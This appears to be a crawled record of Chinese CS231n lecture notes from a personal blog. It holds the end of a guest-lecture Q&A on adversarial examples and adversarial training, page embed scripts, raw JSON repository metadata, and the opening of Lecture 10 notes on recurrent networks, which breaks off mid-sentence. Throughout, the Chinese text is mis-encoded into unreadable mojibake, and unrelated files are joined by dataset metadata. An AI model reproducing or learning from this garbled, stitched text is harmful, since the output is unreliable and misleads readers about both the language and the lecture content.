ไธบๆœ€ๅŽไธ€ๅฑ‚ๆ˜ฏ็บฟๆ€ง็š„๏ผŒๅฎƒไธๅฏ่ƒฝๆŠตๆŒกๆ‰ฐๅŠจ๏ผŒๅœจ่ฟ™ๅฑ‚ๅšๅฏนๆŠ—่ฎญ็ปƒ้€šๅธธไผš็ ดๅๆ•ดไธช่ฟ‡็จ‹</u>ใ€‚้™คไบ†่ฟ™ไธชไบ‹ๆƒ…๏ผŒๆˆ‘ๆ„Ÿ่ง‰่ฟ™ๆ˜ฏๅ’Œ้—ฎ้ข˜็›ธๅ…ณ็š„๏ผŒๆœ‰ไธ€็ฏ‡ Sara Sabour ๅ’Œๅฅน็š„ๅŒไบ‹ไปฌไธ€่ตทๅ†™็š„ๆ–‡็ซ ๅซ Adversarial Manipulation of Deep Representationsใ€‚ไป–ไปฌ่ฎพ่ฎกไบ†ๅฏนๆŠ—ๆ ทๆœฌ่ฏ•ๅ›พๅœจ็ฝ‘็ปœ็š„ไธๅŒๅฑ‚่ฟ›่กŒๆฌบ้ช—๏ผŒ<u>ไป–ไปฌ็š„็ป“ๆžœๅŒ…ๆ‹ฌไบ†่พ“ๅ…ฅๅฑ‚้œ€่ฆๅคšๅคง็š„ๆ‰ฐๅŠจๆ‰่ƒฝๅœจไธๅŒ็š„้š่—ๅฑ‚ๅพ—ๅˆฐไธๅŒๅคงๅฐ็š„ๆ‰ฐๅŠจ</u>ใ€‚ๆˆ‘ๆ€€็–‘<u>ๅฆ‚ๆžœไฝ ่ฎญ็ปƒ็š„ๆจกๅž‹่ƒฝๅคŸๅœจไธ€ๅฑ‚ๆŠตๆŒกๆ‰ฐๅŠจ๏ผŒ้‚ฃไนˆๅ…ถๅฎƒๅฑ‚ไผšๅ˜ๅพ—ๆ›ดๅŠ ่„†ๅผฑ๏ผŒๅฐฑๅƒๆ˜ฏไธ€ไธชๅœจ็งปๅŠจ็š„็›ฎๆ ‡</u>ใ€‚\n\n- Q๏ผšๆๅ‡้”™่ฏฏๅˆ†็ฑป็Ž‡ๅˆฐๅบ•้œ€่ฆๅคšๅฐ‘ๅฏนๆŠ—ๆ ทๆœฌ๏ผŸ\n\n - ๆˆ‘ไปฌๆœ‰็š„ๅ›พๅŒ…ๅซไบ†ๅญฆไน ๆ›ฒ็บฟ๏ผŒๆˆ–่€…ๆˆ‘ไปฌๆœ‰็š„่ฎบๆ–‡ๅŒ…ๅซไบ†ๅญฆไน ๆ›ฒ็บฟ๏ผŒไฝ ๅฏไปฅๅœจ่ฟ™ๅผ ๅ›พ้‡Œ็œ‹๏ผš\n\n ![](https://i.loli.net/2018/09/23/5ba74af430f16.png)\n\n - ๆฏไธ€่ฝฎๆˆ‘ไปฌไผš็”Ÿๆˆๅ’Œ่ฎญ็ปƒๆ ทๆœฌ็›ธๅŒๆ•ฐ้‡็š„ๅฏนๆŠ—ๆ ทๆœฌ๏ผŒ้‚ฃไนˆๆฏ่ฝฎๅฐฑๆœ‰ 50,000 ไธชๅฏนๆŠ—ๆ ทๆœฌใ€‚ๅฏไปฅ็œ‹ๅˆฐๅฏนๆŠ—่ฎญ็ปƒๆ˜ฏไธ€ไธช้žๅธธ้œ€่ฆๆ•ฐๆฎ็š„่ฟ‡็จ‹๏ผŒไฝ ้œ€่ฆๅœจๆฏๆฌกๆ›ดๆ–ฐๆƒ้‡ๆ—ถๆž„้€ ๆ–ฐ็š„ๅฏนๆŠ—ๆ ทๆœฌ๏ผŒไป–ไปฌไธ€็›ดๅœจๅ˜ๅŒ–๏ผŒๆ— ่ฎบๆจกๅž‹ๆœ€่ฟ‘ๅญฆไบ†ไป€ไนˆใ€‚\n\n- Q๏ผšๅŸบไบŽๆจกๅž‹็š„ไผ˜ๅŒ–้—ฎ้ข˜ใ€‚ๆˆ‘ไปฌ็š„ๆœบๅ™จๅญฆไน ๆจกๅž‹ๅคง้ƒจๅˆ†ๆ—ถๅ€™ๆ˜ฏไธ€ไธชๅˆ†็ฑปๅ™จๆˆ–ๆ˜ฏไธ€ไธชๅ›žๅฝ’ๆจกๅž‹ใ€‚ๆˆ‘ไปฌ็ป™ๅฎƒไธ€ไธชๆต‹่ฏ•้›†็š„่พ“ๅ…ฅ๏ผŒๅฎƒ่ƒฝ็ป™ๅ‡บไธ€ไธช่พ“ๅ‡บใ€‚่พ“ๅ…ฅ้€šๅธธๆ˜ฏ้šๆœบ็š„ๅ’Œ่ฎญ็ปƒ้›†ๅŒๅˆ†ๅธƒๅ‘็”Ÿ็š„ใ€‚ๆˆ‘ไปฌๅฐฑ่ท‘ไธ€ไธ‹ๆจกๅž‹๏ผŒๅพ—ๅˆฐ้ข„ๆต‹๏ผŒ็„ถๅŽๅฐฑๅฅฝไบ†ใ€‚ๆœ‰็š„ๆ—ถๅ€™ๆˆ‘ไปฌๆœ‰ๅ้ฆˆๅ›ž่ทฏ๏ผŒๆฏ”ๅฆ‚่ฏดๆŽจ่็ณป็ปŸ๏ผŒๅฆ‚ๆžœไฝ ๅœจ Netflix ๅทฅไฝœ๏ผŒไฝ ่ฆ็ป™่ง‚ๅฝฑ่€…ๆŽจ่็”ตๅฝฑ๏ผŒ่ง‚ๅฝฑ่€…ๅพˆๆœ‰ๅฏ่ƒฝไผš็œ‹ไฝ ๆŽจ่็š„็”ตๅฝฑ๏ผŒๅนถไธ”่ฏ„ๅˆ†๏ผŒ่ฟ™ๆ ทไฝ ๅฐฑๅพ—ๅˆฐไบ†ๅพˆๅคš่ฎญ็ปƒ้›†็š„ๆ‰“ๅˆ†๏ผŒ่ฟ™ๆ ทไฝ ๅฐ†ๆฅๅฐฑไผšๆŽจ่็ป™ๆ›ดๅคšไบบใ€‚่ฟ™้‡Œๅฐฑๆœ‰ไธ€ไธชๅ›ž้ฆˆๅ›ž่ทฏ๏ผŒไปŽๆจกๅž‹็š„่พ“ๅ‡บๅพช็Žฏๅˆฐๆจกๅž‹็š„่พ“ๅ…ฅใ€‚ๅคง้ƒจๅˆ†ๆˆ‘ไปฌๅœจๆž„้€ ๆœบๅ™จ่ง†่ง‰็ณป็ปŸ็š„ๆ—ถๅ€™๏ผŒๆ˜ฏไธๅญ˜ๅœจไปŽ่พ“ๅ‡บๅˆฐ่พ“ๅ…ฅ็š„ๅ้ฆˆๅพช็Žฏ็š„ใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌๆƒณ่ฑกๆˆ‘ไปฌๅผ€ๅง‹ไฝฟ็”จๆŸไธชไผ˜ๅŒ–็ฎ—ๆณ•๏ผŒๆฅๆ‰พๅˆฐ่พ“ๅ…ฅไฝฟๅพ—่พ“ๅ‡บ็š„ๆŸ็งๆ€ง่ดจ่พพๅˆฐๆœ€ๅคง๏ผŒๆฏ”ๅฆ‚ๆˆ‘ไปฌๆœ‰ไธ€ไธชๆจกๅž‹่ƒฝๅคŸๆŽฅๅ—ๆฑฝ่ฝฆ็š„่“ๅ›พไฝœไธบ่พ“ๅ…ฅ๏ผŒ็„ถๅŽ่พ“ๅ‡บๆฑฝ่ฝฆ็š„ๆœŸๆœ›้€Ÿๅบฆ๏ผŒ้‚ฃไนˆๆˆ‘ไปฌๅฏไปฅไฝฟ็”จๆขฏๅบฆๆๅ‡ๆฅๅฏปๆ‰พๅฏนๅบ”ไบŽๆœ€ๅฟซๅฏ่ƒฝ้€Ÿๅบฆ็š„ๆฑฝ่ฝฆ่“ๅ›พ๏ผŒๅˆๆฏ”ๅฆ‚๏ผŒๆˆ‘ไปฌๅœจ่ฎพ่ฎก่ฏๅ“ๆˆ‘ไปฌๅฏไปฅๅฏปๆ‰พๆŸ็งๅˆ†ๅญ็ป“ๆž„๏ผŒๅฎƒๆœ€ๆœ‰ๅฏ่ƒฝๆฒปๆ„ˆๆŸ็ง็™Œ็—‡ๆˆ–่€…ๆœ€ไธๅฏ่ƒฝๅฏผ่‡ดๆŸ็ง่‚่„ไธญๆฏ’ๅๅบ”๏ผŒ้—ฎ้ข˜ๆ˜ฏๆˆ‘ไปฌไธ€ๆ—ฆไฝฟ็”จไผ˜ๅŒ–็ฎ—ๆณ•ๆฅๅฏปๆ‰พไฝฟๅพ—ๆจกๅž‹่พ“ๅ‡บๆœ€ๅคง็š„่ฟ™ไบ›่พ“ๅ…ฅๆ—ถ๏ผŒ่พ“ๅ…ฅๅฐฑไธๅ†ๅƒๆˆ‘ไปฌ่ฎญ็ปƒๆ—ถๅ€™่ฎพๅฎš็š„ไปŽๅŒไธ€ไธชๅˆ†ๅธƒ้‡Œ็‹ฌ็ซ‹้‡‡ๆ ท็š„ไบ†ใ€‚่ฟ™ไธชๆจกๅž‹็Žฐๅœจๅœจๅผ•ๅฏผ็”Ÿๆˆๆ•ฐๆฎ๏ผŒๆˆ‘ไปฌๆœ€็ปˆไผšๆ‰พๅˆฐๅฏนๆŠ—ๆ ทๆœฌใ€‚่ฟ™ไธชๆจกๅž‹ไธๆ˜ฏๅœจๅ‘Š่ฏ‰ๆˆ‘ไปฌๅฆ‚ไฝ•ๆ”น่ฟ›ๆˆ‘ไปฌๅฎž้™…ไธญๆ‰พๅพ—ๅˆฐ็š„่พ“ๅ…ฅ๏ผŒ่€Œๆ˜ฏๆˆ‘ไปฌๆœ‰ไบ†ไธ€ไธช่พ“ๅ…ฅ๏ผŒๅฏไปฅ้ช—ๆจกๅž‹ไปฅไธบ่ฟ™ไธช่พ“ๅ…ฅๅฏนๅบ”็š„ๆ˜ฏๅฅฝ็š„็ฑป๏ผŒๅฐฑๆ˜ฏ่ฏดๆˆ‘ไปฌๆ‰พๅˆฐ็š„ๅˆ†ๅญๅ…ถๅฎžๆฏ’ๆ€งๅพˆๅผบ็š„๏ผŒไฝ†ๆ˜ฏๆจกๅž‹่ฎคไธบๆ˜ฏๆฒกๆœ‰ๆฏ’็š„๏ผŒๆˆ–่€…่ฏดๆˆ‘ไปฌๆ‰พๅˆฐ็š„่ฝฆๆ˜ฏๅพˆๆ…ข็š„๏ผŒไฝ†ๆจกๅž‹่ฎคไธบๅพˆๅฟซใ€‚\n\n- Q๏ผš่ฟ™้‡Œ้’่›™ๅˆ†็ฑป็š„ๆฆ‚็Ž‡ๅœจๆญฃ็š„ๅ’Œ่ดŸ็š„ๅฏนๆŠ—ๆ–นๅ‘ไธŠ้ƒฝๆœ‰ๆ‰€ๆๅ‡๏ผŒ\n\n ![](https://i.loli.net/2018/09/23/5ba74efdc7c37.png)\n\n ๅ…ถไป–็š„ไธ€ไบ›ๅนป็ฏ็‰‡้‡Œ๏ผŒ\n\n ![](https://i.loli.net/2018/09/23/5ba74f1ae3d9e.png)\n\n ๅƒ่ฟ™ไบ›ๆ˜ ๅฐ„ไธไผšๅ‘็”Ÿๅ‡ๅŽป epsilon ๆœ€็ปˆๆๅ‡ไบ†ๅฏนๆŠ—ๅˆ†็ฑป็š„ๅฏ่ƒฝๆ€งใ€‚\n\n - ่ฟ™ไธชๅŽŸๅ› ๆˆ‘่ง‰ๅพ—ๅฏ่ƒฝๆ˜ฏๅ› ไธบๆˆ‘็”จไบ†ๆ›ดๅคง็š„ epsilon๏ผŒๆ‰€ไปฅๅฆ‚ๆžœๆˆ‘ๆŠŠ่ฟ™ไธชๆ˜ ๅฐ„็”ปๅพ—ๅฎฝไธ€็‚น๏ผŒไฝ ่ฟ˜ๆ˜ฏไผš็œ‹ๅˆฐ่ฟ™ไธช็Žฐ่ฑก็š„๏ผŒๆˆ‘ๆŠŠๅฎƒ็”ป็š„็˜ฆไธ€็‚น๏ผŒๆ˜ฏๅ› ไธบๆž„ๅปบ 2D ๆ˜ ๅฐ„้œ€่ฆไบŒๆฌก็š„ๆ—ถ้—ด้‡๏ผŒๆž„ๅปบ 1D ็š„ไบคๅ‰ๅช่ฆ็บฟๆ€ง็š„ๆ—ถ้—ด๏ผŒๆˆ‘ๅฐฑๆ˜ฏ่ดŸๆ‹…ไธ่ตท็”จ GPU ๆฅๆŠŠๆ˜ ๅฐ„็”ป็š„่ฟ™ไนˆๅฎฝ๏ผŒๆˆ‘ๆƒณ็€ๅฏ่ƒฝๅชๆ˜ฏไธ€ไธชๅœจๆŸไธชๆ ทๆœฌไธŠ้šๅณๅ‘็”Ÿ็š„่ฏกๅผ‚็š„็Žฐ่ฑกใ€‚ๆˆ‘่ฎฐๅฟ†ไธญ๏ผŒ่ฟ™ไธไผš็ปๅธธๅ‘็”Ÿใ€‚ๅคง้ƒจๅˆ†ๆˆ‘่ง‚ๆต‹็š„ไธไผšไธ€็›ด่กจ็Žฐๅพˆๅฅฝ๏ผŒๅฆ‚ๆžœๆœ‰็š„่ฏ๏ผŒๆฏ”ๆ–น่ฏด๏ผŒ80% ็š„ๆ—ถ้—ด่กจ็Žฐ่‰ฏๅฅฝ๏ผŒๆˆ‘ๅฐฑไผšๆŠŠๅฎƒๆ”พๅœจๆˆ‘็š„ๅนป็ฏ็‰‡้‡Œไบ†ใ€‚ๆˆ‘ไปฌๆ€ปๅœจ่ฏ•ๅ›พๅผ„ๆ˜Ž็™ฝ็ฉถ็ซŸๅ‘็”Ÿไบ†ไป€ไนˆ๏ผŒ<u>ๅฆ‚ๆžœๆˆ‘ๅ‘็Žฐไป€ไนˆไบ‹ๆƒ… 80% ็š„ๆ—ถ้—ด้ƒฝๅœจๅ‘็”Ÿ๏ผŒๆˆ‘ไผš่ง‰ๅพ—่ฟ™ๆ˜ฏไธ€็งๆ˜พ่‘—็š„็Žฐ่ฑก๏ผŒ้‚ฃๆˆ‘ไปฌๅฐฑไผš่ฏ•ๅ›พ่งฃ้‡Š่ฟ™ไธช็Žฐ่ฑกไบ†ใ€‚</u>ๅฝ“ๆˆ‘ไปฌๅฏน่ฟ™ไธช็Žฐ่ฑกๆœ‰ไบ†ๅพˆๅฅฝ็š„่งฃ้‡Š๏ผŒๆˆ‘ๅฐฑไผšๅผ€ๅง‹่ฏ•ๅ›พๅŽป่งฃ้‡ŠๆŸไบ›่ฏกๅผ‚็š„็Žฐ่ฑก๏ผŒๆฏ”ๅฆ‚่ฏด้’่›™ไผšๅœจ่ดŸ epsilon ็š„ๆ—ถๅ€™ๅˆ†็ฑปๆๅ‡ใ€‚\n\n- Q๏ผšๅฏนๆŠ—ๅญ็ฉบ้—ด็š„็ปดๆ•ฐๅ’Œ่พ“ๅ…ฅ็ปดๆ•ฐไน‹้—ดๆœ‰ๆ€Žๆ ท็š„ๅ…ณ็ณป๏ผŸ\n\n - ๆˆ‘็š„ๅ›ž็ญ”ๆ˜ฏๆœ‰็‚นๅฐดๅฐฌใ€‚ๆˆ‘ไปฌๅ…ถๅฎžๅช็”จไบ†ไธคไธชๆ•ฐๆฎ้›†่ท‘ไบ†่ฟ™ไธชๆ–นๆณ•๏ผŒๆˆ‘ไปฌ่ฟ˜ๆฒกๆœ‰ไธ€ไธชๅฅฝ็š„ๆƒณๆณ•็›ฎๅ‰๏ผŒไฝ†ๆˆ‘่ง‰ๅพ—่ฟ™ไธช้—ฎ้ข˜ๅ€ผๅพ—็ ”็ฉถใ€‚ๅฆ‚ๆžœๆˆ‘่ฎฐๅฟ†ๆฒกๅ‡บ้”™็š„่ฏ๏ผŒๆˆ‘็š„ๅˆไฝœ่€…ๅผ€ๆบไบ†ๆˆ‘ไปฌ็š„ไปฃ็ ใ€‚ไฝ ๅฏไปฅๅœจ ImageNet ไธŠ่ท‘่ท‘็œ‹๏ผŒไธๅคชๅ›ฐ้šพ็š„ใ€‚\n\n ไบ‹ๅฎžไธŠ๏ผŒๆˆ‘ๅœจๅš่ฟ™็ฏ‡ๆ–‡็ซ ็š„ๆ—ถๅ€™๏ผŒๆญฃ้€ขๆˆ‘ไปŽ OpenAI ็ฆป่ŒๅŽป Google ๅทฅไฝœ็š„ไธ€ๅ‘จใ€‚ๆˆ‘ๆฒกๆœ‰ GPU ๅฏไปฅ็”จ๏ผŒๆˆ‘็”จๆˆ‘็š„็ฌ”่ฎฐๆœฌ็š„ CPU ่ท‘ไบ†ๅฎž้ชŒ๏ผŒๆ‰€ไปฅๅชๆ˜ฏๅพˆๅฐ็š„ๆ•ฐๆฎ้›†ใ€‚\n\n- Q๏ผšๆˆ‘ไปฌไผšๆ‰ฐๅŠจๅนฒๅ‡€ๆ ทๆœฌๆฅ้™ไฝŽๅฏนๆŠ—ๆ ทๆœฌ็š„็ฝฎไฟกๅบฆไนˆ๏ผŸ\n\n - ไบ‹ๅฎžไธŠ๏ผŒๆˆ‘ไปฌๅ‘็Žฐๆˆ‘ไปฌ้€šๅธธๅพ—ๅˆฐ็š„่พ“ๅ‡บๆ ทๆœฌ้ƒฝๆ˜ฏ้ซ˜็ฝฎไฟกๅบฆ็š„ใ€‚้ซ˜็ปดๅบฆๆœ‰ไธ€็‚นไธๅคช็›ด่ง‚็š„ๅœฐๆ–นๅฐฑๆ˜ฏๆ‰พๅˆฐ่พ“ๅ…ฅๅƒ็ด ็š„็ฌฆๅท๏ผŒๅฐฑ่ถณไปฅ่Žทๅพ—ๅพˆๅผบ็š„ๅ›žๅบ”ใ€‚ๅœจ้ซ˜็ปด็ณป็ปŸไธญ๏ผŒๆƒ้‡ๅ‘้‡็š„ๅคน่ง’ๆฏ”ๅฎƒ็š„ๅ…ทไฝ“ๅๆ ‡้‡่ฆๅพ—ๅคšใ€‚\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./cs231n_Guest Lecture. Adversarial Examples and Adversarial Training.html)\n\n\n<div id=\"disqus_thread\"></div>\n<script>\n/**\n* RECOMMENDED CONFIGURATION VARIABLES: EDIT AND UNCOMMENT THE SECTION BELOW TO INSERT DYNAMIC VALUES FROM YOUR PLATFORM OR CMS.\n* LEARN WHY DEFINING THESE VARIABLES IS IMPORTANT: https://disqus.com/admin/universalcode/#configuration-variables*/\n/*\nvar disqus_config = function () {\nthis.page.url = PAGE_URL; // Replace PAGE_URL with your page's canonical URL variable\nthis.page.identifier = PAGE_IDENTIFIER; // Replace PAGE_IDENTIFIER with your page's unique identifier variable\n};\n*/\n(function() { // DON'T EDIT BELOW THIS LINE\nvar d = document, s = d.createElement('script');\ns.src = 'https://iphysresearch.disqus.com/embed.js';\ns.setAttribute('data-timestamp', +new Date());\n(d.head || d.body).appendChild(s);\n})();\n</script>\n<noscript>Please enable JavaScript to view the <a href=\"https://disqus.com/?ref_noscript\">comments powered by Disqus.</a></noscript>\n\n\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" }, { "alpha_fraction": 0.7577033638954163, "alphanum_fraction": 0.8127325177192688, "avg_line_length": 43.239131927490234, "blob_id": "abeab61fda93573b2ba14a0d99f7addd6ee99c39", "content_id": "d0fb3a4cfe1c8328f6d5374a93353b581b0d895f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 28003, "license_type": "no_license", "max_line_length": 1169, "num_lines": 322, "path": "/blog/cs231n/cs231n_10.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: CS231n Lecture.10\ndate: 2018-09-02\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html)\n\n---\n\n[TOC]\n\n> CS231n ่ฏพ็จ‹็š„ๅฎ˜ๆ–นๅœฐๅ€๏ผšhttp://cs231n.stanford.edu/index.html\n>\n> ่ฏฅ็ฌ”่ฎฐๆ นๆฎ็š„่ง†้ข‘่ฏพ็จ‹็‰ˆๆœฌๆ˜ฏ [Spring 2017](https://www.bilibili.com/video/av17204303/?p=21)(BiliBili)๏ผŒPPt ่ต„ๆบ็‰ˆๆœฌๆ˜ฏ [Spring 2018](http://cs231n.stanford.edu/syllabus.html).\n>\n> ๅฆๆœ‰่ฏฅ Lecture 10. ๆ‰ฉๅฑ•่ฎฒไน‰่ต„ๆ–™๏ผš\n>\n> - [DL book RNN chapter](http://www.deeplearningbook.org/contents/rnn.html) (optional) \n> - [min-char-rnn](https://gist.github.com/karpathy/d4dee566867f8291f086), [char-rnn](https://github.com/karpathy/char-rnn), [neuraltalk2](https://github.com/karpathy/neuraltalk2)\n> - [The Unreasonable Effectiveness of Recurrent Neural Networks](./The Unreasonable Effectiveness of Recurrent Neural Networks .html)๏ผˆไธญ่ฏ‘็‰ˆ๏ผ‰\n\n\n\n\n# Lecture 10. Recurrent Neural Networks\n\n\n\n\n- Recall๏ผš\n\nๅฐๅ“ฅๅ›ž้กพไบ†ไธŠ่Š‚่ฏพไธญ็š„็ปๅ…ธๆจกๅž‹๏ผŒ่ฐˆๅˆฐ 2014ๅนด็š„ๆ—ถๅ€™๏ผŒ่ฟ˜ๆฒกๆœ‰ๆ‰น้‡ๅฝ’ไธ€ๅŒ–ๆŠ€ๆœฏใ€‚ๆ‰€ไปฅๅฝ“ๅˆ็š„ VGG ็”จไบ†ไธ€ไบ›ๆŠ€ๅทงๅ’Œๆ‰‹ๆฎตๆ‰ๅฎž็Žฐไบ†ๆœ€็ปˆ่ฎญ็ปƒ็š„ๆ”ถๆ•›๏ผŒ่€Œ GoogLeNet ๆ˜ฏๆœ‰ไธ€ไบ›่พ…ๅŠฉๅˆ†็ฑปๅ™จๆŠŠๅฎƒไปฌๆทปๅŠ ๅˆฐไธ‹ๅฑ‚๏ผŒ้ขๅค–็š„ๆขฏๅบฆ็›ดๆŽฅๆณจๅ…ฅๅˆฐ็ฝ‘็ปœ็š„ไธ‹ๅฑ‚ใ€‚ไปฅๅŽ็”จไบ†ๆ‰น้‡ๅฝ’ไธ€ๅŒ–ๅŽ๏ผŒๅฐฑไธๅ†้œ€่ฆ่ฟ™ไบ›็ฌจๆ‹™็š„ๆŠ€ๅทงไฝฟๅพ—็ฝ‘็ปœๆ”ถๆ•›ไบ†ใ€‚\n\nResNet ๆ˜ฏไธ€็งๆœ‰่ถฃ็š„ๆก†ๆžถ๏ผŒๅฎž้™…ไธŠๅฎƒๆœ‰ไธคไธชๅพˆๅฅฝ็š„ๅฑžๆ€งใ€‚\n\nไธ€ไธชๆ˜ฏๅฆ‚ๆžœๆˆ‘ไปฌๆŠŠๆฎ‹ๅทฎๅ—ไธญๆ‰€ๆœ‰็š„ๆƒๅ€ผ่ฎพไธบ้›ถ๏ผŒ้‚ฃไนˆๆ‰€ๆœ‰็š„ๆฎ‹ๅทฎๅ—ๅฐฑๆ˜ฏ**ๆ’็ญ‰็š„**๏ผŒๆ‰€ไปฅๅœจๆŸ็ง็จ‹ๅบฆไธŠ๏ผŒ่ฟ™ไธชๆจกๅž‹ๆ˜ฏ็›ธๅฏนๅฎนๆ˜“ๅŽป่ฎญ็ปƒ็š„๏ผŒๅนถไธ้œ€่ฆๆทปๅŠ ้ขๅค–็š„ๅฑ‚ใ€‚ๅฆๅค–๏ผŒๅœจ็ฅž็ป็ฝ‘็ปœไธญๆทปๅŠ  L2 ๆญฃๅˆ™ๅŒ–็š„ๅŽŸๅ› ๆ˜ฏ๏ผŒไธ€ๆ—ฆไฝ ไฝฟ็”จไบ† L2 ๆญฃๅˆ™ๅŒ–๏ผŒ็ฝ‘็ปœไธญ็š„ๆƒๅ€ผๅฐ†่ฟซไฝฟๆ‰€ๆœ‰็š„ๅ‚ๆ•ฐ่ถ‹่ฟ‘ไบŽ้›ถใ€‚ไนŸ่ฎธไฝ ็š„ๆ ‡ๅ‡†ๅท็งฏๆžถๆž„ๆญฃ่ถ‹่ฟ‘ไบŽ้›ถไนŸ่ฎธ่ฟ™ๆœ‰ไบ›่ฏดไธ้€š๏ผŒไฝ†ๆ˜ฏๅœจๆฎ‹ๅทฎ็ฝ‘็ปœไธญ๏ผŒๅฆ‚ๆžœๆ‰€ๆœ‰็š„ๅ‚ๆ•ฐ้€ๆธ่ถ‹ๅ‘ไบŽ0๏ผŒ้‚ฃๅฐฑๆ˜ฏไฟƒไฝฟๆจกๅž‹ไธๅ†ไฝฟ็”จๅฎƒไธ้œ€่ฆ็š„ๅฑ‚๏ผŒๅ› ไธบๅฎƒๅชๆ˜ฏ้ฉฑไฝฟๆฎ‹ๅทฎๅ—่ถ‹ๅ‘ๅŒไธ€ๆ€ง๏ผˆidentity๏ผ‰๏ผŒไนŸๅฐฑไธ้œ€่ฆ่ฟ›่กŒๅˆ†็ฑปใ€‚\n\nๅฆไธ€ไธช้žๅธธๆœ‰็”จ็š„ๅฑžๆ€งๆ˜ฏๆฎ‹ๅทฎ็ฝ‘็ปœไธŽๅๅ‘่ทฏๅพ„ไธญ็š„**ๆขฏๅบฆๆต**ๆœ‰ๅ…ณใ€‚ๅฆ‚ๆžœไฝ ่ฟ˜่ฎฐๅพ—ๅœจๅๅ‘ไผ ๆ’ญไธญๅŠ ๆณ•้—จ็š„ๅทฅไฝœๅŽŸ็†๏ผŒๅฝ“ไธŠๆธธๆขฏๅบฆ้€š่ฟ‡ไธ€ไธชๅŠ ๆณ•้—จๆ—ถ๏ผŒไป–ๅฐ†ๆฒฟ็€ไธคไธชไธๅŒ็š„่ทฏๅพ„ใ€‚ๆ‰€ๆœ‰๏ผŒๅฝ“ไธŠๆธธๆขฏๅบฆๅˆฐๆฅๆ—ถ๏ผŒๅฎƒๅฐ†้€š่ฟ‡่ฟ™ไบ›ๅท็งฏๅ—ใ€‚ไฝ†ๅฎƒไนŸไผš้€š่ฟ‡่ฟ™ไบ›ๆฎ‹ๅทฎ่ฟžๆŽฅ็›ดๆŽฅ่ฟžๆŽฅๅˆฐๆขฏๅบฆใ€‚ๆ‰€ไปฅไฝ ๅฏไปฅ็œ‹ๅˆฐๅฝ“่ฟ™ไบ›ๆฎ‹ๅทฎๅ—ๅ †ๅ ๅœจไธ€่ตทๆ—ถ๏ผŒๆˆ‘ไปฌ็š„็ฝ‘็ปœๆœ€็ปˆไผšๆœ‰ๅ‡ ็™พไธชๆˆ–ไธŠๅƒไธชๅฑ‚๏ผŒ็„ถๅŽ่ฟ™ไบ›ๆฎ‹ๅทฎ่ฟžๆŽฅๆไพ›็ป™ๆขฏๅบฆไธ€ไธช่ถ…็บงโ€œ้ซ˜้€Ÿๅ…ฌ่ทฏโ€ไฝฟๆขฏๅบฆๅœจๆ•ดไธช็ฝ‘็ปœไธญ่ฟ›่กŒๅๅ‘ไผ ๆ’ญ๏ผŒ่ฟ™ไฝฟ็ฝ‘็ปœๅฏไปฅๆ›ดๅฎนๆ˜“ไธ”ๆ›ดๅฟซๅœฐ่ฎญ็ปƒใ€‚ๅฎž้™…ไธŠ๏ผŒๅณไฝฟๆจกๅž‹ๆœ‰ๅ‡ ็™พๅฑ‚็š„ๆทฑๅบฆไนŸ่ƒฝๅพˆๅฅฝ็š„ๆ”ถๆ•›ใ€‚ๅœจๆœบๅ™จๅญฆไน ้ข†ๅŸŸไธญ๏ผŒ็ฎก็†ๆจกๅž‹็š„ๆขฏๅบฆๆตๆ˜ฏ้žๅธธ้‡่ฆ็š„๏ผŒๅœจ้€’ๅฝ’็ฝ‘็ปœไธญไนŸๆ˜ฏๅพˆๆ™ฎ้็š„ใ€‚ๆ‰€ไปฅ๏ผŒๆˆ‘ไปฌ่ฟ˜ไผšๅ†่ฎจ่ฎบๅˆฐโ€œๆขฏๅบฆๆตโ€่ฟ™ไธชๆฆ‚ๅฟตใ€‚\n\nๆœ€่ฟ‘็œ‹ๅˆฐไธ€ไบ›ๆ›ดไธบๆ–ฐๅฅ‡็š„ CNN ๆž„ๆžถ๏ผŒๅŒ…ๆ‹ฌ DenseNet ๅ’Œ FractalNetใ€‚ไธ€ๆ—ฆไฝ ็”จๆขฏๅบฆๆตๆฅๆ€่€ƒ่ฟ™ไบ›ๆž„ๆžถ๏ผŒๅฎƒไปฌๅฐฑๆ›ดๆœ‰ๆ„ไน‰ไบ†ใ€‚ๅƒ DenseNet ๅ’Œ FractalNet ่ฟ™็ฑปๆจกๅž‹ไธญ้ƒฝๅŠ ๅ…ฅไบ†ไธ€ไบ›้ขๅค–็š„ๅฟซๆทๆˆ–ๆ’็ญ‰่ฟžๆŽฅใ€‚ๅฆ‚ๆžœไฝ ่€ƒ่™‘ๅˆฐๆจกๅž‹ๅœจๅๅ‘ไผ ๆ’ญไธญๅ‘็”Ÿไบ†ไป€ไนˆ๏ผŒ่ฟ™ไบ›้ขๅค–็š„ๆœ‰่ถฃ็š„ๆ‹“ๆ‰‘็ป“ๆž„ๅฏไปฅไธบๆขฏๅบฆไปŽ็ฝ‘็ปœๆœซ็ซฏๆŸๅคฑๅฑ‚ๆ›ดๅฎนๆ˜“ๅœฐๆตๅ‘ๆ•ดไธช็ฝ‘็ปœไธญ็š„ไธๅŒๅฑ‚๏ผŒๆไพ›ไธ€ไธช็›ดๆŽฅ็š„่ทฏๅพ„ใ€‚ๆ‰€ไปฅๆˆ‘่ฎคไธบๅœจ CNN ๆž„ๆžถไธญ๏ผŒๅˆ็†ๅœฐ็ฎก็†ๆขฏๅบฆๆตไฝฟๆˆ‘ไปฌๅœจ่ฟ‡ๅŽปๅ‡ 